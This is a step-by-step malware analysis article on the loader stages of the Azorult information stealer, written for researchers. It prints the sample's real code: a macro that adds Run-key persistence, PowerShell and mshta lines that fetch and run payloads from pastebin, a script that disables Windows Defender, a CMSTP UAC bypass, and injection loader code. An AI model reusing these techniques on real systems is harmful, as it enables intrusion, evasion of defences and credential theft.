Azorult loader stages – Max Kersten

Archived: 2026-04-05 13:12:39 UTC

This article was published on the 26th of March 2020. This article was updated on the 3rd of April 2020, on the 13th of April 2020, and on the 8th of December 2021.

Azorult is an information stealer that steals passwords from installed applications, browser cookies, cryptocurrency wallets, arbitrary files, and more. In this article, the loading phase of the Azorult stealer is analysed in the usual step-by-step manner. These stages are written in multiple languages and contain several obfuscation methods, multiple files, a UAC bypass, and a process injection technique. Additionally, the loader keeps most files in-memory, which lowers the initial detection rate significantly.

This sample is part of Gorgon group's cluster one, as documented by Prevailion.

Table of contents

Terminology

While most of the files are kept in-memory, some of them are still stored on the disk. Some reports call this *file-less*, whilst others do not. In this article, the exact definition is left up to the reader.

Aside from the above-mentioned, the execution is partly done via binaries that are already present on systems. These binaries are often called *LoLBins*, which is short for Living of the Land Binaries. LoLBins are used to perform certain actions, for which they are designed. As such, their features are used as expected, though with malicious intention. This campaign uses multiple LoLBins.

Sample information

The sample, which is a ZIP folder that contains all stages separately, can be downloaded from VirusBay, Malware Bazaar, or MalShare. The hashes given below are for the malicious Excel workbook, which is the first stage.

```
MD5: 0f49e06aaab8816a9d95815e749fb291
SHA-1: e124c99646e1d7fa682e465630eda2159172dcb1
```

```
SHA-256: f5190d29af5ba58c45b138751593e2f5ed014d42e5c37f05f6ea98ee8838c9e2
Size: 37376 bytes
```

I'd like to thank Itay 'Megabeets' Cohen for assisting me in finding the sample.

Stage 1 – The malicious macro

To view the macros within the Excel workbook, one can use olevba, which is part of the oletools suite. To install the tools, one has to run the following command:

```
sudo -H pip3 install -U oletools
```

Note that the used *pip* has to correspond with the Python version that is on your system.

To see what macros are in the first stage, simply run olevba with the Excel workbook as its sole parameter. The command is given below.

```
olevba ./stage1-macro.xls
```

When reviewing the macros, one has to look for the function that gets executed first. In this case, this function is named *Workbook_BeforeClose*. To evade detection, the macro in this Excel workbook does not execute directly when the document is opened, but rather when it is closed. Some sandboxes only open the document, which causes the verdict to come back as *benign* rather than *malicious*. Microsoft documented the function here. The macro is given below.

```
Sub Workbook_BeforeClose(Cancel As Boolean)
Shell "ipconfig"

Shell "ipconfig"
Sheet2.VVV
Shell "ipconfig"

Shell "ipconfig"
End Sub
```

The *Shell* function is used to run an executable program, as is stated in the documentation. The second parameter, which is used to set the window style of the program, is optional. If it is not included in the call, as is the case in this sample, the window style is set to *minimised with focus*.

The *ipconfig* binary is used to print information about the connectivity of the machine. In this case, the outcome of the function call is lost. The only other function call in this function refers to *Sheet2.VVV*, without any arguments. This function is given below.

```
Sub VVV()
Shell "ipconfig"


Shell "ipconfig"
Call Sheet1.VVV2

Shell "ipconfig"
Shell "ipconfig"
End Sub
```

This function has a similar lay-out, although it calls to *Sheet1.VVV2*, which is given below.

```
Sub VVV2()
Shell "ipconfig"
Set omsvd = CreateObject("WScript.Shell")
omsvd.RegWrite "H" & "K" & "C" & "U" & "\" & "S" & "o" & "f" & "t" & "w" & "a" & "re\M" & "i" & "c" &
Shell "ipconfig"
End Sub
```

This function creates a *WScript.Shell* object, which is then used to write a value to the registry. The strings are split per character. Below, the function is given with concatenated strings.

```
Sub VVV2()
Shell "ipconfig"
Set omsvd = CreateObject("WScript.Shell")
omsvd.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\fgiopoiuytresdfgh", "mshta http:\
Shell "ipconfig"
End Sub
```

The used registry location contains all items that are executed when the system starts. In this case, the registry key named *fgiopoiuytresdfgh* contains *mshta http:\\j.mp\fgiopoiuytresdfgh*. The Microsoft HTA executable (*mshta*) is present on all modern Windows systems, and is a *LoLBin*. It corrects the backwards slashes to forward slashes, thus validating the address. The third argument, *REG_SZ* defines the type of the value that is stored in the registry. Per Microsoft's documentation, this type is a null-terminated ANSI or Unicode string.

This function creates a persistence mechanism to execute the payload that is located at the given URL, which is the next stage.

Stage 2 – Persistence and more stages

The URL that launches the second stage redirects towards *https://pastebin.com/raw/N7bd8WVi*. The script that is hosted there is escaped and obfuscated. First, the complete script will be unescaped and deobfuscated. After that, the script will be analysed.

Stage 2 – Unescaping and deobfuscation

The escaped script is given below.

```
document.write(unescape("%3Cscript%20language%3D%22%26%2386%3B%26%2366%3B%26%2383%3B%26%2399%3B%26%2
```

One can unescape this script in the browser's console, using the command that is given below. Note that the *[…]* is a placeholder for the script, which is omitted due to brevity.

```
console.log(unescape("[...]"));
```

The complete decoding command is given below.

```
console.log(unescape("%3Cscript%20language%3D%22%26%2386%3B%26%2366%3B%26%2383%3B%26%2399%3B%26%2311
```

As a result, the console will print the unescaped script, which can then be copied into a text editor of choice. The unescaped script is given below.

```
set nci = CreateObject(StrReverse("llehS.tpircSW"))
Dim xx
xx1 = "r ""mshta http:\\pastebin.com\raw\wnacsSXn"" /F "
xx0 = StrReverse("t/ )+Dogad+( nt/ 07 om/ ETUNIM cs/ etaerc/ sksathcs")
nci.run xx0 + xx1, vbHide

set Ixsi = CreateObject(StrReverse("llehS.tpircSW"))
Dim Bik
Bik1 = """mshta""""http:\\pastebin.com\raw\wnacsSXn"""
Ixsi.run Bik1, vbHide

CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\", "m" +

Set x_iw = CreateObject("W" + "S" + "c" + "r" + "i" + "p" + "t" + "." + "S" + "h" + "e" + "l" + "l")
x_iw.Run("P" + "o" + "w" + "e" + "r" + "s" + "h" + "e" + "l" + "l" + "." + "e" + "x" + "e -noexit [B
self.close
```

The script is obfuscated in several ways. One way to avoid detection, is to reverse strings. In this case, the StrReverse function is used to revert the strings back to their original value. An example is given below.

```
StrReverse("llehS.tpircSW")
```

Additionally, string concatenation is used to avoid detection. An example of string concatenation is given below.

```
"W" + "S" + "c" + "r" + "i" + "p" + "t" + "." + "S" + "h" + "e" + "l" + "l"
```

Once both are removed, the script becomes easily readable, as can be seen below.

```
set nci = CreateObject("WScript.Shell")
Dim xx
xx1 = "r ""mshta http:\\pastebin.com\raw\wnacsSXn"" /F "
xx0 = "schtasks /create /sc MINUTE /mo 70 /tn (+dagoD+) /t"
nci.run xx0 + xx1, vbHide

set Ixsi = CreateObject("WScript.Shell")
Dim Bik
Bik1 = """mshta""""http:\\pastebin.com\raw\wnacsSXn"""
Ixsi.run Bik1, vbHide

CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\", "mshta

Set x_iw = CreateObject("WScript.Shell")
x_iw.Run("Powershell.exe -noexit [Byte[]]$sc64= iex(iex('(&(GCM *W-O*)'+ 'Net.WebClient).DownloadStr
self.close
```

The bottom part of the script still contains several string replacement calls. Below, excerpts from the script are given, together with an explanation.

```
.replace(''#'',''^%$'').replace(''^%$'',''0x'')
```

The main purpose of these two chained replacement calls, is to replace the *#* character into *0x*. As such, this can be simplified into a single replace call, as is given below.

Redundant calls are often added to confuse antivirus suites and researchers.

The following two strings are only missing the first character. This causes existing rules that match on full words to fail.

```
'(&$@#$%^&*(urrentDomain'.replace('(&$@#$%^&*(','C')
'%*&^*&^*&^*&^*&oad'.replace('%*&^*&^*&^*&^*&','L')
```

Their values are *CurrentDomain* and *Load* respectively.

The last string is only obtained after two string replace calls, and uses a trick to confuse text editors that highlight brackets, as well as analysts who look at the code: the string to be replaced contains an opening bracket. Since it is a part of the string, there is no need for a closing bracket. Text editors will expect the next closing bracket to be part of it, which can cause syntax highlighting to malfunction.

```
'in*&^*&^*&^&*^*&^ok))*()*)(**(&(*&'.replace('))*()*)(**(&(*&','e').replace('*&^*&^*&^&*^*&^','v')
```

The string's value is *invoke*.

Lastly, a the Get-Command, abbreviated with *GCM*, is used to obscure a part of the script. This cmdlet lists all commands that are installed on the machine, and allows the use of wildcards. The command *GCM *W-O** is used in the script. The result of the command is given below.

```
PS C:\Users\user> GCM *W-O*
CommandType     Name                                               Version    Source
Cmdlet          New-Object                                         3.1.0.0
```

The result of removing all the unnecessary code is a clean script, as can be seen below.

```
set nci = CreateObject("WScript.Shell")
Dim xx
xx1 = "r ""mshta http:\\pastebin.com\raw\wnacsSXn"" /F "
xx0 = "schtasks /create /sc MINUTE /mo 70 /tn (+dagoD+) /t"
nci.run xx0 + xx1, vbHide

set Ixsi = CreateObject("WScript.Shell")
Dim Bik
Bik1 = """mshta""""http:\\pastebin.com\raw\wnacsSXn"""
Ixsi.run Bik1, vbHide

CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\", "mshta

Set x_iw = CreateObject("WScript.Shell")
x_iw.Run("Powershell.exe -noexit [Byte[]]$sc64= iex(iex('New-Object Net.WebClient).DownloadString(''
self.close
```

Stage 2 – Script analysis

The script is made up out of four blocks of code, which all serve a different purpose. In this section, all four blocks will be analysed step-by-step.

Block 1 – Scheduling a task

The first block of code uses schtasks, which is present on all modern Windows systems. As such, it is a *LoLBin*. This tool, short for *scheduled tasks*, does what its name suggest: it schedules tasks that are executed in the future. The code of the first block is given below.

```
set nci = CreateObject("WScript.Shell")
Dim xx
```

```
xx1 = "r ""mshta http:\\pastebin.com\raw\wnacsSXn"" /F "
xx0 = "schtasks /create /sc MINUTE /mo 70 /tn (+dagoD+) /t"
nci.run xx0 + xx1, vbHide
```

A *WScript Shell* object is instantiated, which then used to execute the concatenated value of *xx0* and *xx1*. The window style of the executed command is set to hidden using *vbHide*. The concatenated value is given below.

```
schtasks /create /sc MINUTE /mo 70 /tn (+dagoD+) /tr "mshta http:\\pastebin.com\raw\wnacsSXn" /F
```

The */create* flag is used to create a new task. The */sc* flag is short for *schedule*, which requires the interval type. In this case, the interval is specified in minutes. The interval value is set using */mo*, which is short for *modifier*. The task name is set using */tn*. The task to run is set using */tr*. At last, the */F* is used to forcefully create the task and suppress any warning that might come up.

The task that is scheduled calls out to the given address using *mshta* every 70 minutes, and is named *(+dagoD+)*. as mentioned before, the *mshta* binary is a *LoLBin*. The given address is the third stage of the loader.

Block 2 – Script execution

The second block of code in the script is very similar to the first block. It simply executes the next stage, as can be seen below.

```
set Ixsi = CreateObject("WScript.Shell")
Dim Bik
Bik1 = """mshta""""http:\\pastebin.com\raw\wnacsSXn"""
Ixsi.run Bik1, vbHide
```

The third stage is executed using a *WScript Shell* and within a hidden window. This block ensures that the execution happens directly. After that, the third stage is executed via the scheduled task every 70 minutes.

Block 3 – More persistence

The third block adds a new value to the registry key, thereby persisting the call to a specific URL using *mshta* every time the machine starts. The code is given below.

```
CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\", "mshta
```

The content that resides at the given URL is an empty template script for the *WScript Shell*. The template is given below.

Pastes on Pastebin can be edited. As such, the reoccurring call to this script can be used to execute a different script in the future.

Block 4 – PowerShell execution

The last block of code in this script executes PowerShell code via the *WScript Shell*. The PowerShell script uses a part of the Dot Net Framework to download a string. The code is given below.

```
Set x_iw = CreateObject("WScript.Shell")
x_iw.Run("Powershell.exe -noexit [Byte[]]$sc64= iex(iex('New-Object Net.WebClient).DownloadString(''
self.close
```

The script that is downloaded, is altered using the replace which makes it a byte array. After that, the byte array is loaded into the current domain and executed without any additional arguments. This binary file is the fourth stage.

Stage 3 – Loading the Azorult loader

This script is escaped, similar to previous one. The same method can be used to unescape the script. The escaped script is given below.

```
document.write(unescape("%3Cscript%20language%3D%22%26%2386%3B%26%2366%3B%26%2383%3B%26%2399%3B%26%2
```

The unescaped script is given below.

```
Set mmn = CreateObject(StrReverse(\"llehS.tpircSW\"))
llll = \"p\" + \"o\" + \"w\" + \"e\" + \"r\" + \"she\" + \"ll do {$ping = test-connection -comp goog

mmn.Run llll, vbHide

self.close
```

The unescaped script contains string concatenation, reversed strings, a lack of new lines, Get-Command usage, and string replacement calls. As these techniques have been analysed in the second stage, their removal is not covered here. The cleaned script is given below.

```
Set mmn = CreateObject("WScript.Shell")
llll = "powershell do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$p22 =

mmn.Run llll, vbHide

self.close
```

In this case, the *WScript Shell* is only used to execute PowerShell code. As such, the PowerShell code can be extracted from the script, together with new lines to make the code easily readable. The PowerShell excerpt is given below in four blocks.

```
do {
    $ping = test-connection -comp google.com -count 1 -Quiet
```

```
} until ($ping);

$p22 = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);
[System.Net.ServicePointManager]::SecurityProtocol = $p22;

$t= New-Object -Com Microsoft.XMLHTTP;
$t.open('GET','https://pastebin.com/raw/5sfgNap6',$false);
$t.send();
$ty=[Text.Encoding]::'UTF8'.'GetString'([Convert]::'FromBase64String'($t.responseText))|IEX;

[Byte[]]$Cli2= iex(iex('(&(GCM *W-O*)'+ 'Net.WebClient).DownloadString(''https://pastebin.com/raw/82
$t=[System.Reflection.Assembly]::Load($decompressedByteArray);
[Givara]::FreeDom('svchost.exe',$Cli2)
```

Each block will be analysed step-by-step.

Block 1 – Testing the internet connection

The first block of code tests the internet connection quitely. This part of the script has two use cases. Firstly, it only continues when there is an internet connection. If there is none, the loop will continue until the condition is met. Secondly, it generates legitmate network traffic, which can confuse the behavioral scan that is conducted by antivirus products.

```
do {
    $ping = test-connection -comp google.com -count 1 -Quiet
} until ($ping);
```

The used cmdlet is documented here by Microsoft.

Block 2 – Setting the security protocol

The second block is used to set the security protocol, which is used in the third block. The enum value of *3072* refers to TLS 1.2. Windows supports this since Windows 7.

```
$p22 = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::S
```

The value that is set in this block has an effect on all future calls within this script.

Block 3 – Loading more PowerShell code

In this block, a HTTP request is made to download a base64 encoded script, as can be seen below.

```
$t= New-Object -Com Microsoft.XMLHTTP;
$t.open('GET','https://pastebin.com/raw/5sfgNap6',$false);
```

```
$t.send();
$ty=[Text.Encoding]::'UTF8'.'GetString'([Convert]::'FromBase64String'($t.responseText))|IEX;
```

Based on *IEX*, which is short for Invoke-Expression, one can deduce that the decoded script is also a PowerShell script. This script will be analysed in stage 5.

Block 4 – Executing an exported function

The last block of code downloads yet another string, after which a string replacement call is made. The value is stored as a byte array.

```
[Byte[]]$Cli2= iex(iex('(&(GCM *W-O*)'+ 'Net.WebClient).DownloadString(''https://pastebin.com/raw/82
$t=[System.Reflection.Assembly]::Load($decompressedByteArray);
[Givara]::FreeDom('svchost.exe',$Cli2)
```

At last, a variable with an unknown content is loaded into memory, after which a function from an unknown class is called. The definition and initialisation of the missing data can only be present in the PowerShell script that is downloaded and executed in the third block. The newly created byte array is used as an argument. As such, this will also be covered in stage 5.

Stage 4 – Disabling Windows Defender

This stage contains a single script, which is converted into a Dot Net binary, after which it is loaded into memory, from where it is executed. The command to download and save the binary is given below.

```
[Byte[]]$Cli2= iex(iex('(&(GCM *W-O*)'+ 'Net.WebClient).DownloadString(''https://pastebin.com/raw/NR
$Cli2 | Set-Content stage4.dll -Encoding Byte
```

It pipes the variable *$Cli2* into the *Set-Content* cmdlet, which is documented here. The encoding type is specified as *Byte*, as it is a binary file.

Analysing a Dot Net binary can be done using dnSpy.

This binary contains only a single class, which is named *CMSTPBypass*. Within this class, there are two external functions, both of which are given below.

```
// Token: 0x06000001 RID: 1
[DllImport("user32.dll")]
public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

// Token: 0x06000002 RID: 2
[DllImport("user32.dll", SetLastError = true)]
public static extern bool SetForegroundWindow(IntPtr hWnd);
```

Additionally, two global variables are also declared and initialised, which are given below.

```
public static string InfData = "[version]\r\nSignature=$chicago$\r\nAdvancedINF=2.5\r\n\r\n[DefaultI

public static string BinaryPath = "c:\\windows\\system32\\cmstp.exe";
```

The main function of the program, which is where the exeuction starts, is given below in full. After that, the function is analysed in smaller bits.

```
// Token: 0x06000004 RID: 4 RVA: 0x000020F4 File Offset: 0x000002F4
public static void Main()
{
    try
    {
        string text = Environment.GetFolderPath(Environment.SpecialFolder.Windows) + "\\temp\\" + Pa
        {
            Convert.ToChar(".")
        })[0] + ".vbs";
        File.WriteAllBytes(text, CMSTPBypass.GetResource("31u5mzgjiv4"));
        StringBuilder stringBuilder = new StringBuilder();
        stringBuilder.Append(CMSTPBypass.SetInfFile("cmd /c start \"" + text + "\""));
        Process.Start(new ProcessStartInfo(CMSTPBypass.BinaryPath)
        {
            Arguments = "/au " + stringBuilder.ToString(),
            UseShellExecute = false,
            CreateNoWindow = true,
            WindowStyle = ProcessWindowStyle.Hidden
        });
        IntPtr value = 0;
        value = IntPtr.Zero;
        do
        {
            value = CMSTPBypass.SetWindowActive("cmstp");
        }
        while (value == IntPtr.Zero);
        SendKeys.SendWait("{ENTER}");
    }
    catch
    {
    }
    Environment.Exit(0);
}
```

As can be observed in the code above, the original names are still present in the code. There is no obfuscation present either. The first part of the code is given below.

```
string text = Environment.GetFolderPath(Environment.SpecialFolder.Windows) + "\\temp\\" + Path.GetRa
        {
            Convert.ToChar(".")
        })[0] + ".vbs";
File.WriteAllBytes(text, CMSTPBypass.GetResource("31u5mzgjiv4"));
```

In the code above, a path is created by concatenating the Windows folder to which *\temp* is appended. The *Path.GetRandomFileName* function, as documented here, generates a random file name including a random extension. By splitting the string at the dot, the file name and file extension are split. Index zero of the resulting array contains the file name, to which the VBScript extension is then appended. In short, assuming that Windows is installed on the C-drive, a file is created at *C:\Windows\temp\[randomName].vbs*.

The second line creates a new file based on the given path. The content of the file is obtained using the *GetResource* function, which is given below.

```
// Token: 0x06000006 RID: 6 RVA: 0x00002254 File Offset: 0x00000454
private static byte[] GetResource(string file)
{
    ResourceManager resourceManager = new ResourceManager("su5stfdsn0l", Assembly.GetExecutingAssemb
    return (byte[])resourceManager.GetObject(file);
}
```

The resource manager is used to get load the file based on the given name. The script that is written to the disk, is given below.

```
If Not WScript.Arguments.Named.Exists("elevate") Then
  CreateObject("Shell.Application").ShellExecute WScript.FullName _
    , """ & WScript.ScriptFullName & """ /elevate", "", "runas", 1
  WScript.Quit
End If

On Error Resume Next
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware","0","REG_DW
WshShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBeh
WshShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnA
WshShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableSca

WScript.Sleep 100

outputMessage("Set-MpPreference -DisableRealtimeMonitoring $true")
outputMessage("Set-MpPreference -DisableBehaviorMonitoring $true")
outputMessage("Set-MpPreference -DisableBlockAtFirstSeen $true")
outputMessage("Set-MpPreference -DisableIOAVProtection $true")
outputMessage("Set-MpPreference -DisableScriptScanning $true")
```

```
outputMessage("Set-MpPreference -SubmitSamplesConsent 2")
outputMessage("Set-MpPreference -MAPSReporting 0")
outputMessage("Set-MpPreference -HighThreatDefaultAction 6 -Force")
outputMessage("Set-MpPreference -ModerateThreatDefaultAction 6")
outputMessage("Set-MpPreference -LowThreatDefaultAction 6")
outputMessage("Set-MpPreference -SevereThreatDefaultAction 6")


Sub outputMessage(byval args)
On Error Resume Next
Set objShell = CreateObject("Wscript.shell")
objShell.run("powershell " + args), 0
End Sub
```

The given script has to run with elevated permissions. If this isn't the case, it is launched again. This loop continues until the code is launched with elevated permissions. Once it runs with elevated permissions, Windows Defender will be disabled by altering several registry keys. Additionally, the Set-MpPreference cmdlet, which is documented here, is used to disable even more parts of Windows Defender.

The next part of the code refers back to the VBScript that is given above, and calls the *SetInfFile* function. The code is given below.

```
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.Append(CMSTPBypass.SetInfFile("cmd /c start \"" + text + "\""));
```

The *stringBuilder* variable is filled with the return value of the *SetInfFile* function, which requires a single parameter: *CommandToExecute*. The code of the function is given below.

```
// Token: 0x06000003 RID: 3 RVA: 0x00002050 File Offset: 0x00000250
public static string SetInfFile(string CommandToExecute)
{
    string value = Path.GetRandomFileName().Split(new char[]
    {
        Convert.ToChar(".")
    })[0];
    string value2 = Environment.GetFolderPath(Environment.SpecialFolder.Windows) + "\\temp";
    StringBuilder stringBuilder = new StringBuilder();
    stringBuilder.Append(value2);
    stringBuilder.Append("\\");
    stringBuilder.Append(value);
    stringBuilder.Append(".inf");
    StringBuilder stringBuilder2 = new StringBuilder(CMSTPBypass.InfData);
    stringBuilder2.Replace("REPLACE_COMMAND_LINE", CommandToExecute);
    File.WriteAllText(stringBuilder.ToString(), stringBuilder2.ToString());
```

```
    return stringBuilder.ToString();
}
```

The function gets a random file name, in the same way as the other random file name is obtained, and refers to the same *temp* folder within the Windows directory. In there, a *.inf* file is created, which is filled with the content from the global *InfData* variable. At last, the string *REPLACE_COMMAND_LINE* is replaced with the argument that is provided to this function. After that, all data is written to the created path, and the complete path is returned.

The CMSTP binary, to which the global variable *BinaryPath* contains the full path, is used to add or remove a connection manager profile, as is documented here. The next part of the code is given below.

```
Process.Start(new ProcessStartInfo(CMSTPBypass.BinaryPath)
{
    Arguments = "/au " + stringBuilder.ToString(),
    UseShellExecute = false,
    CreateNoWindow = true,
    WindowStyle = ProcessWindowStyle.Hidden
});
IntPtr value = 0;
value = IntPtr.Zero;
do
{
    value = CMSTPBypass.SetWindowActive("cmstp");
}
while (value == IntPtr.Zero);
SendKeys.SendWait("{ENTER}");
```

The process is started with the */au* (short for *all users*) flag, to install the profile for all users. Addtitionally, the shell will not be used to install it, there will be no window created, and the window style is hidden. After the process is created, a loop to get the CMSTP window is entered, and will only be left once the window is found, since the pointer is not null at that point. Once it is found, the *enter* key is sent, which confirms the creation of the profile via the defaultly selected *OK* button. The code for the *SetWindowActive* function is given below.

```
// Token: 0x06000005 RID: 5 RVA: 0x000021F8 File Offset: 0x000003F8
public static IntPtr SetWindowActive(string ProcessName)
{
    Process[] processesByName = Process.GetProcessesByName(ProcessName);
    if (processesByName.Length == 0)
    {
        return IntPtr.Zero;
    }
    processesByName[0].Refresh();
    IntPtr intPtr = 0;
    intPtr = processesByName[0].MainWindowHandle;
    if (intPtr == IntPtr.Zero)
```

```
    {
        return IntPtr.Zero;
    }
    CMSTPBypass.SetForegroundWindow(intPtr);
    CMSTPBypass.ShowWindow(intPtr, 5);
    return intPtr;
}
```

The complete script, including the replacement command, is given below. This script is the User Account Control bypass that Oddvar Moe blogged about on the 15th of August 2017. Tyler Applebaum wrote a PowerShell script that is equal to the Dot Net binary that is analysed above. The complete class can be found here. The original script to disable Windows Defender can be found here.

```
[version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection
[RunPreSetupCommandsSection]
; Commands Here will be run Before Setup Begins to install
If Not WScript.Arguments.Named.Exists("elevate") Then
  CreateObject("Shell.Application").ShellExecute WScript.FullName _
    , """ & WScript.ScriptFullName & """ /elevate", "", "runas", 1
  WScript.Quit
End If

On Error Resume Next
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware","0","REG_DW
WshShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBeh
WshShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnA
WshShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableSca

WScript.Sleep 100

outputMessage("Set-MpPreference -DisableRealtimeMonitoring $true")
outputMessage("Set-MpPreference -DisableBehaviorMonitoring $true")
outputMessage("Set-MpPreference -DisableBlockAtFirstSeen $true")
outputMessage("Set-MpPreference -DisableIOAVProtection $true")
outputMessage("Set-MpPreference -DisableScriptScanning $true")
outputMessage("Set-MpPreference -SubmitSamplesConsent 2")
outputMessage("Set-MpPreference -MAPSReporting 0")
outputMessage("Set-MpPreference -HighThreatDefaultAction 6 -Force")
outputMessage("Set-MpPreference -ModerateThreatDefaultAction 6")
```

```
outputMessage("Set-MpPreference -LowThreatDefaultAction 6")
outputMessage("Set-MpPreference -SevereThreatDefaultAction 6")



Sub outputMessage(byval args)
On Error Resume Next
Set objShell = CreateObject("Wscript.shell")
objShell.run("powershell " + args), 0
End Sub

taskkill /IM cmstp.exe /F

[CustInstDestSectionAllUsers]
49000,49001=AllUSer_LDIDSection, 7

[AllUSer_LDIDSection]
\"HKLM\", \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\CMMGR32.EXE\", \"ProfileInstall

[Strings]
ServiceName=\"NyanCat\"
ShortSvcName=\"NyanCat\"
```

By evading the User Account Control, the script can run with elevated privileges, and thus disable Windows Defender succesfully.

Stage 5 – Loading Azorult

The last stage uses two binaries. The first one is a base64 encoded PowerShell script, which is decoded and then executed. The code that is used in the malware to achieve this, is given below.

```
$t= New-Object -Com Microsoft.XMLHTTP;
$t.open('GET','https://pastebin.com/raw/5sfgNap6',$false);
$t.send();
$ty=[Text.Encoding]::'UTF8'.'GetString'([Convert]::'FromBase64String'($t.responseText))|IEX;
```

One can simply save the base64 encoded string at the given address, decode it, and store it in a file. Upon doing so, the following script becomes visible.

```
function Get-DecompressedByteArray {

        [CmdletBinding()]
    Param ([byte[]] $byteArray)

        Process {
            Write-Verbose "Get-DecompressedByteArray"
```

```
        $input = New-Object System.IO.MemoryStream( , $byteArray )
            $output = New-Object System.IO.MemoryStream
            $gzipStream = New-Object System.IO.Compression.GzipStream $input, ([IO.Compression.Compr

    $buffer = New-Object byte[](1024)
    while($true){
        $read = $gzipstream.Read($buffer, 0, 1024)
        if ($read -le 0){break}
        $output.Write($buffer, 0, $read)
        }


                [byte[]] $byteOutArray = $output.ToArray()
        Write-Output $byteOutArray
    }
}

$t0='DEX'.replace('D','I');sal g $t0;[Byte[]]$Cli=('!1F,!8B,!08,[...],!F8,!00,!00'.replace('!','0x')

[byte[]]$decompressedByteArray = Get-DecompressedByteArray $Cli
```

By appending the following code, one can save the Dot Net binary.

```
$decompressedByteArray | Set-Content stage5-loader.dll -Encoding Byte
```

Inspecting it using dnSpy reveals that it is obfuscated using ConfuserEx v1.0.0. To deobfuscate the binary, one can use de4dot-cex, which is a modified version of de4dot and supports the deobfuscation of this version of ConfuserEx. Provide the binary as the sole argument to the program, and the deobfuscated binray will be created in the same directory, as can be seen below.

```
PS C:\Users\user\Desktop\de4dot-cex> ./de4dot stage5-loader.dll

de4dot v3.1.41592.3405 Copyright (C) 2011-2015 de4dot@gmail.com
Latest version and source code: https://github.com/0xd4d/de4dot

Detected ConfuserEx v1.0.0 (C:\Users\user\Desktop\stage5-loader.dll)
Cleaning C:\Users\John\Desktop\stage5-loader.dll
Renaming all obfuscated symbols
Saving C:\Users\user\Desktop\stage5-loader-cleaned.dll

Press any key to exit...
```

When opening the cleaned binary in dnSpy, one can read the code normally.

Based on the way the binary is loaded, the function (and the class it resides in) is known. Addtionally, the parameters are known: *"svchost.exe"* and the newly obtained byte array. The code is given below.

```
[Byte[]]$Cli2= iex(iex('(&(GCM *W-O*)'+ 'Net.WebClient).DownloadString(''https://pastebin.com/raw/82(
$t=[System.Reflection.Assembly]::Load($decompressedByteArray);
[Givara]::FreeDom('svchost.exe',$Cli2)
```

The *FeeDom* function within the *Givara* class is given below.

```
// Token: 0x02000004 RID: 4
public class Givara
{
    // Token: 0x06000023 RID: 35 RVA: 0x000023F0 File Offset: 0x000005F0
    public static void FreeDom(string FTONJ, byte[] coco)
    {
        HeHe heHe = new HeHe();
        heHe.Daym(FTONJ, coco);
    }
}
```

This function instantiates a new object and calls a function that is present within the object. The *Daym* function is given below.

```
// Token: 0x0600001C RID: 28 RVA: 0x000022D4 File Offset: 0x000004D4
public void Daym(string FTONJ, byte[] coco)
{
    try
    {
        string text = HeHe.smethod_1("C:\\WINDOWS\\syswow64\\", FTONJ);
        string text2 = HeHe.smethod_1("C:\\WINDOWS\\system32\\", FTONJ);
        string text3 = HeHe.smethod_1("C:\\WINDOWS\\", FTONJ);
        string text4 = HeHe.smethod_1("C:\\WINDOWS\\syswow64\\WindowsPowerShell\\v1.0\\", FTONJ);
        string text5 = HeHe.smethod_1("C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\", FTONJ);
        if (HeHe.smethod_2(text))
        {
            HeHe.tickleme(text, coco);
        }
        else if (!HeHe.smethod_2(text2))
        {
            if (!HeHe.smethod_2(text3))
            {
                if (!HeHe.smethod_2(text4))
                {
                    if (!HeHe.smethod_2(text5))
                    {
```

```
                        HeHe.tickleme(HeHe.smethod_1(HeHe.smethod_4(HeHe.smethod_3(), "Framework64",
                    }
                    else
                    {
                        HeHe.tickleme(text5, coco);
                    }
                }
                else
                {
                    HeHe.tickleme(text4, coco);
                }
            }
            else
            {
                HeHe.tickleme(text3, coco);
            }
        }
        else
        {
            HeHe.tickleme(text2, coco);
        }
    }
    catch
    {
    }
}
```

To understand this function, several other functions need to be analysed first, as they are called within the code that is given above. The first two functions are given below.

```
// Token: 0x0600001F RID: 31 RVA: 0x0000206B File Offset: 0x0000026B
static string smethod_1(string string_0, string string_1)
{
    return string_0 + string_1;
}

// Token: 0x06000020 RID: 32 RVA: 0x000020F2 File Offset: 0x000002F2
static bool smethod_2(string string_0)
{
    return File.Exists(string_0);
}
```

The first function simply concatenates the two given strings, whereas the second function checks if a file exists, based on the given path.

The functions *smethod_3* and *smethod_4* are given below.

```
// Token: 0x06000021 RID: 33 RVA: 0x000020FA File Offset: 0x000002FA
static string smethod_3()
{
        return RuntimeEnvironment.GetRuntimeDirectory();
}

// Token: 0x06000022 RID: 34 RVA: 0x00002101 File Offset: 0x00000301
static string smethod_4(string string_0, string string_1, string string_2)
{
    return string_0.Replace(string_1, string_2);
}
```

